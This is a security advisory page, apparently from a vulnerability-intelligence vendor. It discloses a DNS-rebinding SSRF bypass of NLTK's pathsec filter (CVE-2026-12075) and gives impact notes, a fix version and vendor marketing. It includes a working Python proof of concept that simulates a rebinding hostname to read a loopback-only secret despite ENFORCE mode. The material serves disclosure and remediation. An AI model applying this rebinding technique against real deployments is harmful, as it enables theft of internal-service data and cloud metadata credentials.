Summary
Natural Language Toolkit (NLTK): DNS-rebinding SSRF filter bypass in nltk.pathsec.urlopen (nltk.download / nltk.data.load) defeats ENFORCE mode
nltk.pathsec provides an SSRF filter that NLTK documents as a security control, blocking loopback, private, link-local, and multicast ranges (including obfuscated forms) and recommending strict ENFORCE mode for security-sensitive environments. The filter is bypassable by DNS rebinding: validate_network_url() resolves the hostname and checks the resulting IP, but the actual HTTP connection re-resolves the hostname independently at connect time and connects to that second result. The validated IP is never the one connected to. An attacker controlling DNS for a hostname (a TTL-0 rebinding record) returns a public IP for the validation lookup and an internal/loopback IP for the connection lookup, defeating the filter even under nltk.pathsec.ENFORCE = True.
Details
urlopen() validates, then hands the raw hostname to urllib, which performs a second name resolution deep in the connection layer (http.client.HTTPConnection.connect → socket.create_connection → socket.getaddrinfo). The validation-side and connection-side resolutions are fully independent code paths with independent caches:
validate_network_url()calls_resolve_hostname(parsed.hostname)and checks each returned IP against loopback/link-local/multicast/private, blocking underENFORCE. (Resolution #1.)urlopen()then callsbuild_opener(...).open(url)with the original URL (raw hostname), sourllibresolves the hostname again at connect time. (Resolution #2, the address actually connected to.)
_resolve_hostname is decorated with lru_cache and its docstring claims to mitigate DNS rebinding, but the cache only memoizes the validation-side lookup. The connection layer's getaddrinfo does not consult that cache, so it provides no protection. The annotation is a false assurance: an operator reading it may believe rebinding is handled when it is not.
PoC
import socket
import threading
import warnings
from collections import defaultdict
from http.server import BaseHTTPRequestHandler, HTTPServer
warnings.filterwarnings("ignore")
import nltk
import nltk.pathsec as ps
ps.ENFORCE = True # the documented strict SSRF sandbox
ATTACKER_HOST = "rebind.attacker.test" # attacker-controlled authoritative DNS
PUBLIC_IP = "93.184.216.34" # public address served for the validation lookup
SECRET = b"TOP-SECRET-LOOPBACK-ONLY-METADATA-CREDENTIALS"
# --- A loopback-only "internal service" (stands in for 169.254.169.254 / admin UI) ---
class _Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(SECRET)))
self.end_headers()
self.wfile.write(SECRET)
def log_message(self, *a):
pass
def start_internal_server():
srv = HTTPServer(("127.0.0.1", 0), _Handler)
threading.Thread(target=srv.serve_forever, daemon=True).start()
return srv.server_address[1] # ephemeral port
# --- Model the TTL-0 rebinding record at the resolver layer ---
_real_getaddrinfo = socket.getaddrinfo
_lookups = defaultdict(int)
def _rebinding_getaddrinfo(host, port, *args, **kwargs):
if host == ATTACKER_HOST:
n = _lookups[host]
_lookups[host] += 1
ip = PUBLIC_IP if n == 0 else "127.0.0.1" # 1st=public (validate), then loopback (connect)
p = port if isinstance(port, int) else 0
kind = "VALIDATION -> public" if n == 0 else "CONNECT -> loopback"
print(f" [dns] getaddrinfo({host!r}) lookup #{n}: {kind} ({ip})")
return [(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, "", (ip, p))]
return _real_getaddrinfo(host, port, *args, **kwargs)
def fetch(url):
with ps.urlopen(url, timeout=5) as r:
return r.read()
def main():
print("=" * 62)
print(f" NLTK pathsec DNS-rebinding SSRF bypass PoC")
print(f" nltk {nltk.__version__} | nltk.pathsec.ENFORCE = {ps.ENFORCE}")
print("=" * 62)
port = start_internal_server()
print(f"[*] internal loopback service: http://127.0.0.1:{port}/ (returns secret)\n")
socket.getaddrinfo = _rebinding_getaddrinfo
ps._resolve_hostname.cache_clear() # fresh validation cache, as on a real process
try:
# ---- Control: a DIRECT loopback URL must be blocked by the filter ----
print("[1] CONTROL: direct loopback URL (filter must block this)")
direct = f"http://127.0.0.1:{port}/"
try:
fetch(direct)
print(f" [?] unexpected: {direct} was NOT blocked\n")
control_ok = False
except PermissionError as e:
print(f" [OK] blocked -> PermissionError: {e}\n")
control_ok = True
# ---- Attack: rebinding hostname bypasses the same filter ----
print("[2] ATTACK: rebinding hostname (public at validate, loopback at connect)")
evil = f"http://{ATTACKER_HOST}:{port}/"
print(f" fetching {evil}")
try:
body = fetch(evil)
leaked = SECRET in body
print(f" body returned to caller: {body!r}")
if leaked:
print("\n [VULN] loopback-only secret exfiltrated through pathsec.urlopen")
print(f" validated IP = {PUBLIC_IP} (public) but connected IP = 127.0.0.1")
print(f" non-blind SSRF despite ENFORCE = {ps.ENFORCE}")
verdict = "VULNERABLE"
else:
print("\n [?] fetch succeeded but secret marker not present")
verdict = "INCONCLUSIVE"
except PermissionError as e:
# Patched build: validate against the connect-time IP (or pin/resolve-once).
print(f"\n [SAFE] blocked -> PermissionError: {e}")
verdict = "NOT VULNERABLE"
finally:
socket.getaddrinfo = _real_getaddrinfo
print("\n" + "=" * 62)
print(f" Control (direct loopback blocked): {control_ok}")
print(f" Result: {verdict} (ENFORCE = {ps.ENFORCE})")
print("=" * 62)
if __name__ == "__main__":
main()
Impact
- Full-response (non-blind) SSRF. Because the fetched body is returned to the caller (e.g.
nltk.data.loadwithformat="raw"), an attacker can read responses from internal-only HTTP services, loopback admin interfaces, and, most seriously, the cloud instance metadata service, which on major cloud providers can expose IAM/service credentials and lead to cloud account compromise. - Bypass of an explicit security control. It defeats the
nltk.pathsecSSRF filter, including theENFORCEmode that NLTK's documentation recommends precisely for environments where untrusted input may reach NLTK. Deployments that adopted that boundary are not actually protected, and thelru_cacheannotation claiming to mitigate rebinding makes the false assurance worse.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-12075 has a CVSS score of 8.6 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.10.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-12075? CVE-2026-12075 is a high-severity server-side request forgery (SSRF) vulnerability in nltk (pip), affecting versions <= 3.9.4. It is fixed in 3.10.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-12075? CVE-2026-12075 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of nltk are affected by CVE-2026-12075? nltk (pip) versions <= 3.9.4 is affected.
- Is there a fix for CVE-2026-12075? Yes. CVE-2026-12075 is fixed in 3.10.0. Upgrade to this version or later.
- Is CVE-2026-12075 exploitable, and should I be worried? Whether CVE-2026-12075 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-12075 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-12075? Upgrade
nltkto 3.10.0 or later.